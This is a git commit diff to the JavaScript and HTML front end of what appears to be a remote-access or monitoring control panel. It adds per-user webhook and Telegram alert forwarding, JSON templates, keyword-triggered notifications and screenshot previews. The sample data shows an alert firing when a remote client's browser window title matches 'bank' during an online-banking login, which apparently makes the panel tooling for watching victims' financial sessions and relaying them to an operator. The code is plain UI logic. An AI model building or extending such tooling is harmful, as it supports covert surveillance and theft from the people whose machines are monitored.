better notification system
This commit is contained in:
@@ -6,19 +6,42 @@ import {
|
|||||||
markAllNotificationsRead,
|
markAllNotificationsRead,
|
||||||
} from "./notify-client.js";
|
} from "./notify-client.js";
|
||||||
|
|
||||||
|
// ── DOM refs ──────────────────────────────────────────────────────────────────
|
||||||
const wsStatus = document.getElementById("ws-status");
|
const wsStatus = document.getElementById("ws-status");
|
||||||
const listEl = document.getElementById("notification-list");
|
const listEl = document.getElementById("notification-list");
|
||||||
const emptyState = document.getElementById("empty-state");
|
const emptyState = document.getElementById("empty-state");
|
||||||
|
const notificationScopeHint = document.getElementById("notification-scope-hint");
|
||||||
|
|
||||||
|
// Keyword section
|
||||||
|
const keywordSection = document.getElementById("keyword-section");
|
||||||
const keywordInput = document.getElementById("keyword-input");
|
const keywordInput = document.getElementById("keyword-input");
|
||||||
const saveKeywordsBtn = document.getElementById("save-keywords");
|
const saveKeywordsBtn = document.getElementById("save-keywords");
|
||||||
const keywordHint = document.getElementById("keyword-hint");
|
const keywordHint = document.getElementById("keyword-hint");
|
||||||
|
|
||||||
|
// Webhook section
|
||||||
const webhookEnabledInput = document.getElementById("webhook-enabled");
|
const webhookEnabledInput = document.getElementById("webhook-enabled");
|
||||||
const webhookUrlInput = document.getElementById("webhook-url");
|
const webhookUrlInput = document.getElementById("webhook-url");
|
||||||
|
const webhookTemplateInput = document.getElementById("webhook-template");
|
||||||
const saveWebhookBtn = document.getElementById("save-webhook");
|
const saveWebhookBtn = document.getElementById("save-webhook");
|
||||||
|
const webhookUrlToggle = document.getElementById("webhook-url-toggle");
|
||||||
|
const resetWebhookTemplateBtn = document.getElementById("reset-webhook-template");
|
||||||
|
const formatWebhookTemplateBtn = document.getElementById("format-webhook-template");
|
||||||
|
const previewWebhookTemplateBtn = document.getElementById("preview-webhook-template");
|
||||||
|
const webhookTemplatePreview = document.getElementById("webhook-template-preview");
|
||||||
|
|
||||||
|
// Telegram section
|
||||||
const telegramEnabledInput = document.getElementById("telegram-enabled");
|
const telegramEnabledInput = document.getElementById("telegram-enabled");
|
||||||
const telegramBotTokenInput = document.getElementById("telegram-bot-token");
|
const telegramBotTokenInput = document.getElementById("telegram-bot-token");
|
||||||
const telegramChatIdInput = document.getElementById("telegram-chat-id");
|
const telegramChatIdInput = document.getElementById("telegram-chat-id");
|
||||||
|
const telegramTemplateInput = document.getElementById("telegram-template");
|
||||||
const saveTelegramBtn = document.getElementById("save-telegram");
|
const saveTelegramBtn = document.getElementById("save-telegram");
|
||||||
|
const telegramTokenToggle = document.getElementById("telegram-token-toggle");
|
||||||
|
const telegramChatidToggle = document.getElementById("telegram-chatid-toggle");
|
||||||
|
const resetTelegramTemplateBtn = document.getElementById("reset-telegram-template");
|
||||||
|
const previewTelegramTemplateBtn = document.getElementById("preview-telegram-template");
|
||||||
|
const telegramTemplatePreview = document.getElementById("telegram-template-preview");
|
||||||
|
|
||||||
|
// Preview modal
|
||||||
const panel = document.getElementById("notification-panel");
|
const panel = document.getElementById("notification-panel");
|
||||||
const previewModal = document.getElementById("notification-preview-modal");
|
const previewModal = document.getElementById("notification-preview-modal");
|
||||||
const previewModalImg = document.getElementById("notification-preview-image");
|
const previewModalImg = document.getElementById("notification-preview-image");
|
||||||
@@ -26,6 +49,87 @@ const previewModalClose = document.getElementById("notification-preview-close");
|
|||||||
|
|
||||||
const MAX_ROWS = 200;
|
const MAX_ROWS = 200;
|
||||||
|
|
||||||
|
// Defaults loaded from /api/notifications/my-settings
|
||||||
|
let defaultWebhookTemplate = "";
|
||||||
|
let defaultTelegramTemplate = "";
|
||||||
|
let webhookTemplateEditor = null;
|
||||||
|
|
||||||
|
function tryFormatJsonText(text) {
|
||||||
|
const source = String(text || "").trim();
|
||||||
|
if (!source) return "";
|
||||||
|
try {
|
||||||
|
return JSON.stringify(JSON.parse(source), null, 2);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function initWebhookTemplateEditor() {
|
||||||
|
if (!webhookTemplateInput || typeof window.ace === "undefined") return;
|
||||||
|
try {
|
||||||
|
webhookTemplateEditor = window.ace.edit("webhook-template");
|
||||||
|
webhookTemplateEditor.setTheme("ace/theme/tomorrow_night");
|
||||||
|
webhookTemplateEditor.session.setMode("ace/mode/json");
|
||||||
|
webhookTemplateEditor.session.setUseWrapMode(true);
|
||||||
|
webhookTemplateEditor.setShowPrintMargin(false);
|
||||||
|
webhookTemplateEditor.setOption("fontSize", "12px");
|
||||||
|
webhookTemplateEditor.setOption("tabSize", 2);
|
||||||
|
webhookTemplateEditor.setOption("useSoftTabs", true);
|
||||||
|
webhookTemplateEditor.on("blur", () => {
|
||||||
|
const formatted = tryFormatJsonText(webhookTemplateEditor.getValue());
|
||||||
|
if (formatted !== null && formatted !== webhookTemplateEditor.getValue()) {
|
||||||
|
const position = webhookTemplateEditor.getCursorPosition();
|
||||||
|
webhookTemplateEditor.setValue(formatted, -1);
|
||||||
|
webhookTemplateEditor.moveCursorToPosition(position);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
webhookTemplateEditor = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getWebhookTemplateValue() {
|
||||||
|
if (webhookTemplateEditor) return webhookTemplateEditor.getValue();
|
||||||
|
return webhookTemplateInput?.value || "";
|
||||||
|
}
|
||||||
|
|
||||||
|
function setWebhookTemplateValue(text) {
|
||||||
|
const value = text || "";
|
||||||
|
const formatted = tryFormatJsonText(value);
|
||||||
|
const nextValue = formatted ?? value;
|
||||||
|
if (webhookTemplateEditor) {
|
||||||
|
webhookTemplateEditor.setValue(nextValue, -1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (webhookTemplateInput) webhookTemplateInput.value = nextValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
function focusWebhookTemplateEditor() {
|
||||||
|
if (webhookTemplateEditor) webhookTemplateEditor.focus();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Sample data for template previews ────────────────────────────────────────
|
||||||
|
const SAMPLE_RECORD = {
|
||||||
|
title: "Online Banking — Secure Login",
|
||||||
|
keyword: "bank",
|
||||||
|
clientId: "abc123def456",
|
||||||
|
user: "john.doe",
|
||||||
|
host: "DESKTOP-7G2ABK1",
|
||||||
|
process: "chrome.exe",
|
||||||
|
os: "windows",
|
||||||
|
pid: "4392",
|
||||||
|
ts: String(Date.now()),
|
||||||
|
};
|
||||||
|
|
||||||
|
function renderSampleTemplate(template, defaultTpl) {
|
||||||
|
const tpl = template && template.trim() ? template : defaultTpl;
|
||||||
|
return Object.entries(SAMPLE_RECORD).reduce(
|
||||||
|
(s, [k, v]) => s.replaceAll(`{${k}}`, v),
|
||||||
|
tpl,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Status indicator ──────────────────────────────────────────────────────────
|
||||||
function setStatus(text, tone = "neutral") {
|
function setStatus(text, tone = "neutral") {
|
||||||
if (!wsStatus) return;
|
if (!wsStatus) return;
|
||||||
const icon = wsStatus.querySelector("i");
|
const icon = wsStatus.querySelector("i");
|
||||||
@@ -41,14 +145,10 @@ function setStatus(text, tone = "neutral") {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Helpers ───────────────────────────────────────────────────────────────────
|
||||||
function formatTime(ts) {
|
function formatTime(ts) {
|
||||||
if (ts == null) return "-";
|
if (ts == null) return "-";
|
||||||
let normalized = ts;
|
let normalized = typeof ts === "bigint" ? Number(ts) : Number(ts);
|
||||||
if (typeof normalized === "bigint") {
|
|
||||||
normalized = Number(normalized);
|
|
||||||
} else if (typeof normalized === "string") {
|
|
||||||
normalized = Number(normalized);
|
|
||||||
}
|
|
||||||
if (!Number.isFinite(normalized)) return "-";
|
if (!Number.isFinite(normalized)) return "-";
|
||||||
const date = new Date(normalized);
|
const date = new Date(normalized);
|
||||||
if (Number.isNaN(date.getTime())) return "-";
|
if (Number.isNaN(date.getTime())) return "-";
|
||||||
@@ -61,6 +161,19 @@ function escapeHtml(text) {
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function wireToggle(inputEl, btnEl) {
|
||||||
|
if (!inputEl || !btnEl) return;
|
||||||
|
btnEl.addEventListener("click", () => {
|
||||||
|
const show = inputEl.type === "password";
|
||||||
|
inputEl.type = show ? "text" : "password";
|
||||||
|
const icon = btnEl.querySelector("i");
|
||||||
|
if (icon) {
|
||||||
|
icon.className = show ? "fa-solid fa-eye-slash" : "fa-solid fa-eye";
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Notification table row ────────────────────────────────────────────────────
|
||||||
function renderRow(item, prepend = true) {
|
function renderRow(item, prepend = true) {
|
||||||
if (!listEl) return;
|
if (!listEl) return;
|
||||||
const row = document.createElement("tr");
|
const row = document.createElement("tr");
|
||||||
@@ -111,9 +224,7 @@ function renderRow(item, prepend = true) {
|
|||||||
preview.innerHTML = "";
|
preview.innerHTML = "";
|
||||||
preview.className = "";
|
preview.className = "";
|
||||||
preview.appendChild(img);
|
preview.appendChild(img);
|
||||||
img.addEventListener("load", () => {
|
img.addEventListener("load", () => img.classList.remove("opacity-0"));
|
||||||
img.classList.remove("opacity-0");
|
|
||||||
});
|
|
||||||
img.addEventListener("error", () => {
|
img.addEventListener("error", () => {
|
||||||
preview.textContent = "-";
|
preview.textContent = "-";
|
||||||
preview.className = "text-slate-500";
|
preview.className = "text-slate-500";
|
||||||
@@ -121,17 +232,14 @@ function renderRow(item, prepend = true) {
|
|||||||
});
|
});
|
||||||
img.src = objectUrl;
|
img.src = objectUrl;
|
||||||
img.dataset.previewUrl = objectUrl;
|
img.dataset.previewUrl = objectUrl;
|
||||||
if (img.decode) {
|
if (img.decode) img.decode().catch(() => {});
|
||||||
img.decode().catch(() => {});
|
|
||||||
}
|
|
||||||
|
|
||||||
img.addEventListener("click", () => {
|
img.addEventListener("click", () => {
|
||||||
if (!previewModal || !previewModalImg) return;
|
if (!previewModal || !previewModalImg) return;
|
||||||
previewModalImg.src = img.dataset.previewUrl || objectUrl;
|
previewModalImg.src = img.dataset.previewUrl || objectUrl;
|
||||||
previewModal.classList.remove("hidden");
|
previewModal.classList.remove("hidden");
|
||||||
previewModal.classList.add("flex");
|
previewModal.classList.add("flex");
|
||||||
});
|
});
|
||||||
} catch (err) {
|
} catch {
|
||||||
if (attempts < maxAttempts) {
|
if (attempts < maxAttempts) {
|
||||||
setTimeout(fetchPreview, 1000 * attempts);
|
setTimeout(fetchPreview, 1000 * attempts);
|
||||||
return;
|
return;
|
||||||
@@ -151,26 +259,14 @@ function renderRow(item, prepend = true) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const rows = listEl.querySelectorAll("tr");
|
const rows = listEl.querySelectorAll("tr");
|
||||||
if (rows.length > MAX_ROWS) {
|
if (rows.length > MAX_ROWS) rows[rows.length - 1].remove();
|
||||||
rows[rows.length - 1].remove();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (emptyState) {
|
if (emptyState) emptyState.classList.toggle("hidden", listEl.children.length > 0);
|
||||||
emptyState.classList.toggle("hidden", listEl.children.length > 0);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleNotification(item) {
|
// ── Keyword section ───────────────────────────────────────────────────────────
|
||||||
console.log("[notifications] item", item);
|
|
||||||
renderRow(item, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
function parseKeywords(text) {
|
function parseKeywords(text) {
|
||||||
return text
|
return text.split(/\r?\n/).map((k) => k.trim()).filter(Boolean);
|
||||||
.split(/\r?\n/)
|
|
||||||
.map((k) => k.trim())
|
|
||||||
.filter(Boolean);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderKeywordHint(count) {
|
function renderKeywordHint(count) {
|
||||||
@@ -184,25 +280,9 @@ async function loadKeywords() {
|
|||||||
const res = await fetch("/api/notifications/config");
|
const res = await fetch("/api/notifications/config");
|
||||||
if (!res.ok) return;
|
if (!res.ok) return;
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
const notifications = data?.notifications || {};
|
const keywords = data?.notifications?.keywords || [];
|
||||||
const keywords = notifications.keywords || [];
|
|
||||||
keywordInput.value = keywords.join("\n");
|
keywordInput.value = keywords.join("\n");
|
||||||
renderKeywordHint(keywords.length);
|
renderKeywordHint(keywords.length);
|
||||||
if (webhookEnabledInput) {
|
|
||||||
webhookEnabledInput.checked = !!notifications.webhookEnabled;
|
|
||||||
}
|
|
||||||
if (webhookUrlInput) {
|
|
||||||
webhookUrlInput.value = notifications.webhookUrl || "";
|
|
||||||
}
|
|
||||||
if (telegramEnabledInput) {
|
|
||||||
telegramEnabledInput.checked = !!notifications.telegramEnabled;
|
|
||||||
}
|
|
||||||
if (telegramBotTokenInput) {
|
|
||||||
telegramBotTokenInput.value = notifications.telegramBotToken || "";
|
|
||||||
}
|
|
||||||
if (telegramChatIdInput) {
|
|
||||||
telegramChatIdInput.value = notifications.telegramChatId || "";
|
|
||||||
}
|
|
||||||
} catch {}
|
} catch {}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -231,106 +311,226 @@ function wireKeywordSave() {
|
|||||||
});
|
});
|
||||||
|
|
||||||
keywordInput.addEventListener("input", () => {
|
keywordInput.addEventListener("input", () => {
|
||||||
const keywords = parseKeywords(keywordInput.value);
|
renderKeywordHint(parseKeywords(keywordInput.value).length);
|
||||||
renderKeywordHint(keywords.length);
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Per-user settings ─────────────────────────────────────────────────────────
|
||||||
|
function applyMySettings(settings) {
|
||||||
|
if (webhookEnabledInput) webhookEnabledInput.checked = !!settings.webhook_enabled;
|
||||||
|
if (webhookUrlInput) webhookUrlInput.value = settings.webhook_url || "";
|
||||||
|
setWebhookTemplateValue(settings.webhook_template || "");
|
||||||
|
if (telegramEnabledInput) telegramEnabledInput.checked = !!settings.telegram_enabled;
|
||||||
|
if (telegramBotTokenInput) telegramBotTokenInput.value = settings.telegram_bot_token || "";
|
||||||
|
if (telegramChatIdInput) telegramChatIdInput.value = settings.telegram_chat_id || "";
|
||||||
|
if (telegramTemplateInput) telegramTemplateInput.value = settings.telegram_template || "";
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadMySettings() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/notifications/my-settings");
|
||||||
|
if (!res.ok) return;
|
||||||
|
const data = await res.json();
|
||||||
|
if (data.defaults) {
|
||||||
|
defaultWebhookTemplate = data.defaults.webhookTemplate || "";
|
||||||
|
defaultTelegramTemplate = data.defaults.telegramTemplate || "";
|
||||||
|
if (telegramTemplateInput) telegramTemplateInput.placeholder = `Premade template:\n${defaultTelegramTemplate}`;
|
||||||
|
}
|
||||||
|
if (data.settings) {
|
||||||
|
applyMySettings(data.settings);
|
||||||
|
if (!getWebhookTemplateValue().trim()) {
|
||||||
|
setWebhookTemplateValue(defaultWebhookTemplate);
|
||||||
|
}
|
||||||
|
if (telegramTemplateInput && !telegramTemplateInput.value.trim()) {
|
||||||
|
telegramTemplateInput.value = defaultTelegramTemplate;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function saveMySettings(patch) {
|
||||||
|
const res = await fetch("/api/notifications/my-settings", {
|
||||||
|
method: "PUT",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify(patch),
|
||||||
|
});
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.json().catch(() => ({}));
|
||||||
|
throw new Error(err?.error || "Failed to save settings");
|
||||||
|
}
|
||||||
|
const data = await res.json();
|
||||||
|
if (data.settings) applyMySettings(data.settings);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function postWebhookPreview(webhookUrl, webhookTemplate) {
|
||||||
|
const res = await fetch("/api/notifications/my-settings/preview/webhook", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ webhookUrl, webhookTemplate }),
|
||||||
|
});
|
||||||
|
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(data?.error || "Failed to send preview webhook");
|
||||||
|
}
|
||||||
|
if (!data?.ok) {
|
||||||
|
const details = data?.responseBody ? `: ${String(data.responseBody).slice(0, 120)}` : "";
|
||||||
|
throw new Error(`Webhook responded with ${data?.status || "unknown status"}${details}`);
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
function wireWebhookSave() {
|
function wireWebhookSave() {
|
||||||
if (!saveWebhookBtn || !webhookUrlInput || !webhookEnabledInput) return;
|
wireToggle(webhookUrlInput, webhookUrlToggle);
|
||||||
saveWebhookBtn.addEventListener("click", async () => {
|
|
||||||
const webhookUrl = webhookUrlInput.value.trim();
|
if (resetWebhookTemplateBtn) {
|
||||||
const webhookEnabled = !!webhookEnabledInput.checked;
|
resetWebhookTemplateBtn.addEventListener("click", () => {
|
||||||
try {
|
setWebhookTemplateValue(defaultWebhookTemplate);
|
||||||
const res = await fetch("/api/notifications/config", {
|
focusWebhookTemplateEditor();
|
||||||
method: "PUT",
|
if (webhookTemplatePreview) {
|
||||||
headers: { "Content-Type": "application/json" },
|
webhookTemplatePreview.textContent = renderSampleTemplate(defaultWebhookTemplate, defaultWebhookTemplate);
|
||||||
body: JSON.stringify({ webhookUrl, webhookEnabled }),
|
webhookTemplatePreview.classList.remove("hidden");
|
||||||
});
|
}
|
||||||
if (!res.ok) {
|
});
|
||||||
window.showToast?.("Failed to save webhook", "error", 4000);
|
}
|
||||||
|
|
||||||
|
if (formatWebhookTemplateBtn) {
|
||||||
|
formatWebhookTemplateBtn.addEventListener("click", () => {
|
||||||
|
const current = getWebhookTemplateValue().trim();
|
||||||
|
if (!current) {
|
||||||
|
setWebhookTemplateValue(defaultWebhookTemplate);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const data = await res.json();
|
const formatted = tryFormatJsonText(current);
|
||||||
const notifications = data?.notifications || {};
|
if (formatted !== null) {
|
||||||
webhookEnabledInput.checked = !!notifications.webhookEnabled;
|
setWebhookTemplateValue(formatted);
|
||||||
webhookUrlInput.value = notifications.webhookUrl || "";
|
} else {
|
||||||
window.showToast?.("Webhook updated", "success", 3000);
|
window.showToast?.("Template JSON is invalid. Fix syntax before formatting.", "error", 3500);
|
||||||
} catch {
|
}
|
||||||
window.showToast?.("Failed to save webhook", "error", 4000);
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (previewWebhookTemplateBtn && webhookTemplatePreview && webhookTemplateInput) {
|
||||||
|
previewWebhookTemplateBtn.addEventListener("click", async () => {
|
||||||
|
const webhookTemplateText = getWebhookTemplateValue();
|
||||||
|
const rendered = renderSampleTemplate(webhookTemplateText, defaultWebhookTemplate);
|
||||||
|
webhookTemplatePreview.textContent = rendered;
|
||||||
|
webhookTemplatePreview.classList.remove("hidden");
|
||||||
|
|
||||||
|
const webhookUrl = webhookUrlInput?.value?.trim() || "";
|
||||||
|
const webhookTemplate = webhookTemplateText.trim() || defaultWebhookTemplate;
|
||||||
|
if (!webhookUrl) {
|
||||||
|
window.showToast?.("Enter a webhook URL first", "error", 3500);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const result = await postWebhookPreview(webhookUrl, webhookTemplate);
|
||||||
|
const modeHint = result.mode === "discord" ? " (Discord mode)" : "";
|
||||||
|
window.showToast?.(`Preview sent to webhook (HTTP ${result.status})${modeHint}`, "success", 3500);
|
||||||
|
} catch (err) {
|
||||||
|
window.showToast?.(err?.message || "Failed to send preview webhook", "error", 4000);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!saveWebhookBtn) return;
|
||||||
|
saveWebhookBtn.addEventListener("click", async () => {
|
||||||
|
try {
|
||||||
|
const templateText = getWebhookTemplateValue().trim() || defaultWebhookTemplate;
|
||||||
|
await saveMySettings({
|
||||||
|
webhook_enabled: webhookEnabledInput?.checked ?? false,
|
||||||
|
webhook_url: webhookUrlInput?.value?.trim() || "",
|
||||||
|
webhook_template: templateText,
|
||||||
|
});
|
||||||
|
window.showToast?.("Webhook settings saved", "success", 3000);
|
||||||
|
} catch (err) {
|
||||||
|
window.showToast?.(err?.message || "Failed to save webhook", "error", 4000);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function wireTelegramSave() {
|
function wireTelegramSave() {
|
||||||
if (!saveTelegramBtn || !telegramBotTokenInput || !telegramChatIdInput || !telegramEnabledInput) return;
|
wireToggle(telegramBotTokenInput, telegramTokenToggle);
|
||||||
saveTelegramBtn.addEventListener("click", async () => {
|
wireToggle(telegramChatIdInput, telegramChatidToggle);
|
||||||
const telegramBotToken = telegramBotTokenInput.value.trim();
|
|
||||||
const telegramChatId = telegramChatIdInput.value.trim();
|
if (resetTelegramTemplateBtn) {
|
||||||
const telegramEnabled = !!telegramEnabledInput.checked;
|
resetTelegramTemplateBtn.addEventListener("click", () => {
|
||||||
try {
|
if (telegramTemplateInput) telegramTemplateInput.value = defaultTelegramTemplate;
|
||||||
const res = await fetch("/api/notifications/config", {
|
if (telegramTemplatePreview) {
|
||||||
method: "PUT",
|
telegramTemplatePreview.textContent = renderSampleTemplate(defaultTelegramTemplate, defaultTelegramTemplate);
|
||||||
headers: { "Content-Type": "application/json" },
|
telegramTemplatePreview.classList.remove("hidden");
|
||||||
body: JSON.stringify({ telegramBotToken, telegramChatId, telegramEnabled }),
|
|
||||||
});
|
|
||||||
if (!res.ok) {
|
|
||||||
window.showToast?.("Failed to save Telegram settings", "error", 4000);
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
const data = await res.json();
|
});
|
||||||
const notifications = data?.notifications || {};
|
}
|
||||||
telegramEnabledInput.checked = !!notifications.telegramEnabled;
|
|
||||||
telegramBotTokenInput.value = notifications.telegramBotToken || "";
|
if (previewTelegramTemplateBtn && telegramTemplatePreview && telegramTemplateInput) {
|
||||||
telegramChatIdInput.value = notifications.telegramChatId || "";
|
previewTelegramTemplateBtn.addEventListener("click", () => {
|
||||||
window.showToast?.("Telegram settings updated", "success", 3000);
|
const rendered = renderSampleTemplate(telegramTemplateInput.value, defaultTelegramTemplate);
|
||||||
} catch {
|
telegramTemplatePreview.textContent = rendered;
|
||||||
window.showToast?.("Failed to save Telegram settings", "error", 4000);
|
telegramTemplatePreview.classList.remove("hidden");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!saveTelegramBtn) return;
|
||||||
|
saveTelegramBtn.addEventListener("click", async () => {
|
||||||
|
try {
|
||||||
|
const templateText = telegramTemplateInput?.value?.trim() || defaultTelegramTemplate;
|
||||||
|
await saveMySettings({
|
||||||
|
telegram_enabled: telegramEnabledInput?.checked ?? false,
|
||||||
|
telegram_bot_token: telegramBotTokenInput?.value?.trim() || "",
|
||||||
|
telegram_chat_id: telegramChatIdInput?.value?.trim() || "",
|
||||||
|
telegram_template: templateText,
|
||||||
|
});
|
||||||
|
window.showToast?.("Telegram settings saved", "success", 3000);
|
||||||
|
} catch (err) {
|
||||||
|
window.showToast?.(err?.message || "Failed to save Telegram settings", "error", 4000);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Init role-based UI ────────────────────────────────────────────────────────
|
||||||
|
async function initRoleUi() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/auth/me");
|
||||||
|
if (!res.ok) return;
|
||||||
|
const data = await res.json();
|
||||||
|
const role = data?.role || "";
|
||||||
|
if ((role === "admin" || role === "operator") && keywordSection) {
|
||||||
|
keywordSection.classList.remove("hidden");
|
||||||
|
loadKeywords();
|
||||||
|
}
|
||||||
|
if (notificationScopeHint) {
|
||||||
|
notificationScopeHint.textContent =
|
||||||
|
role === "admin"
|
||||||
|
? "Showing all notifications (admin)."
|
||||||
|
: "Showing notifications for your accessible clients.";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── WebSocket connection ──────────────────────────────────────────────────────
|
||||||
function connect() {
|
function connect() {
|
||||||
startNotificationClient();
|
startNotificationClient();
|
||||||
if (panel) {
|
if (panel) markAllNotificationsRead();
|
||||||
markAllNotificationsRead();
|
|
||||||
}
|
|
||||||
subscribeStatus((status) => {
|
subscribeStatus((status) => {
|
||||||
if (status === "connected") setStatus("Connected", "ok");
|
if (status === "connected") setStatus("Connected", "ok");
|
||||||
if (status === "error") setStatus("Error", "error");
|
if (status === "error") setStatus("Error", "error");
|
||||||
if (status === "disconnected") setStatus("Disconnected", "warn");
|
if (status === "disconnected") setStatus("Disconnected", "warn");
|
||||||
});
|
});
|
||||||
|
|
||||||
subscribeReady((history) => {
|
subscribeReady((history) => {
|
||||||
if (listEl) listEl.innerHTML = "";
|
if (listEl) listEl.innerHTML = "";
|
||||||
history.reverse().forEach((item) => renderRow(item, false));
|
history.reverse().forEach((item) => renderRow(item, false));
|
||||||
if (emptyState) {
|
if (emptyState) emptyState.classList.toggle("hidden", history.length > 0);
|
||||||
emptyState.classList.toggle("hidden", history.length > 0);
|
|
||||||
}
|
|
||||||
markAllNotificationsRead();
|
markAllNotificationsRead();
|
||||||
});
|
});
|
||||||
subscribeNotifications(handleNotification);
|
|
||||||
|
subscribeNotifications((item) => renderRow(item, true));
|
||||||
}
|
}
|
||||||
|
|
||||||
wireKeywordSave();
|
// ── Preview modal ─────────────────────────────────────────────────────────────
|
||||||
wireWebhookSave();
|
|
||||||
wireTelegramSave();
|
|
||||||
loadKeywords();
|
|
||||||
connect();
|
|
||||||
|
|
||||||
function wireActiveClear() {
|
|
||||||
const clearIfActive = () => {
|
|
||||||
if (document.visibilityState === "visible") {
|
|
||||||
markAllNotificationsRead();
|
|
||||||
}
|
|
||||||
};
|
|
||||||
document.addEventListener("visibilitychange", clearIfActive);
|
|
||||||
window.addEventListener("focus", clearIfActive);
|
|
||||||
clearIfActive();
|
|
||||||
}
|
|
||||||
|
|
||||||
wireActiveClear();
|
|
||||||
|
|
||||||
if (previewModal && previewModalClose && previewModalImg) {
|
if (previewModal && previewModalClose && previewModalImg) {
|
||||||
const closePreview = () => {
|
const closePreview = () => {
|
||||||
previewModal.classList.add("hidden");
|
previewModal.classList.add("hidden");
|
||||||
@@ -342,3 +542,20 @@ if (previewModal && previewModalClose && previewModalImg) {
|
|||||||
if (event.target === previewModal) closePreview();
|
if (event.target === previewModal) closePreview();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Clear unread badge when tab is visible ────────────────────────────────────
|
||||||
|
const clearIfActive = () => {
|
||||||
|
if (document.visibilityState === "visible") markAllNotificationsRead();
|
||||||
|
};
|
||||||
|
document.addEventListener("visibilitychange", clearIfActive);
|
||||||
|
window.addEventListener("focus", clearIfActive);
|
||||||
|
clearIfActive();
|
||||||
|
|
||||||
|
// ── Bootstrap ─────────────────────────────────────────────────────────────────
|
||||||
|
initWebhookTemplateEditor();
|
||||||
|
wireKeywordSave();
|
||||||
|
wireWebhookSave();
|
||||||
|
wireTelegramSave();
|
||||||
|
loadMySettings();
|
||||||
|
initRoleUi();
|
||||||
|
connect();
|
||||||
|
|||||||
@@ -580,14 +580,12 @@ async function init() {
|
|||||||
try {
|
try {
|
||||||
await loadCurrentUser();
|
await loadCurrentUser();
|
||||||
loadPrefs();
|
loadPrefs();
|
||||||
await loadMyTelegram();
|
|
||||||
await loadSecurityPolicy();
|
await loadSecurityPolicy();
|
||||||
await loadTlsSettings();
|
await loadTlsSettings();
|
||||||
await loadBannedIps();
|
await loadBannedIps();
|
||||||
|
|
||||||
passwordForm.addEventListener("submit", updatePassword);
|
passwordForm.addEventListener("submit", updatePassword);
|
||||||
prefsForm.addEventListener("submit", savePrefs);
|
prefsForm.addEventListener("submit", savePrefs);
|
||||||
if (saveMyTelegramBtn) saveMyTelegramBtn.addEventListener("click", saveMyTelegram);
|
|
||||||
securityForm.addEventListener("submit", saveSecurityPolicy);
|
securityForm.addEventListener("submit", saveSecurityPolicy);
|
||||||
tlsForm.addEventListener("submit", saveTlsSettings);
|
tlsForm.addEventListener("submit", saveTlsSettings);
|
||||||
tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup);
|
tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup);
|
||||||
|
|||||||
@@ -19,6 +19,7 @@
|
|||||||
referrerpolicy="no-referrer"
|
referrerpolicy="no-referrer"
|
||||||
/>
|
/>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.36.5/ace.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
|
||||||
<link rel="stylesheet" href="/assets/main.css" />
|
<link rel="stylesheet" href="/assets/main.css" />
|
||||||
<script src="/assets/toast.js"></script>
|
<script src="/assets/toast.js"></script>
|
||||||
<script src="/assets/ripple.js"></script>
|
<script src="/assets/ripple.js"></script>
|
||||||
@@ -28,6 +29,8 @@
|
|||||||
|
|
||||||
<main class="px-5 py-6">
|
<main class="px-5 py-6">
|
||||||
<div class="max-w-7xl mx-auto flex flex-col gap-6">
|
<div class="max-w-7xl mx-auto flex flex-col gap-6">
|
||||||
|
|
||||||
|
<!-- Page header -->
|
||||||
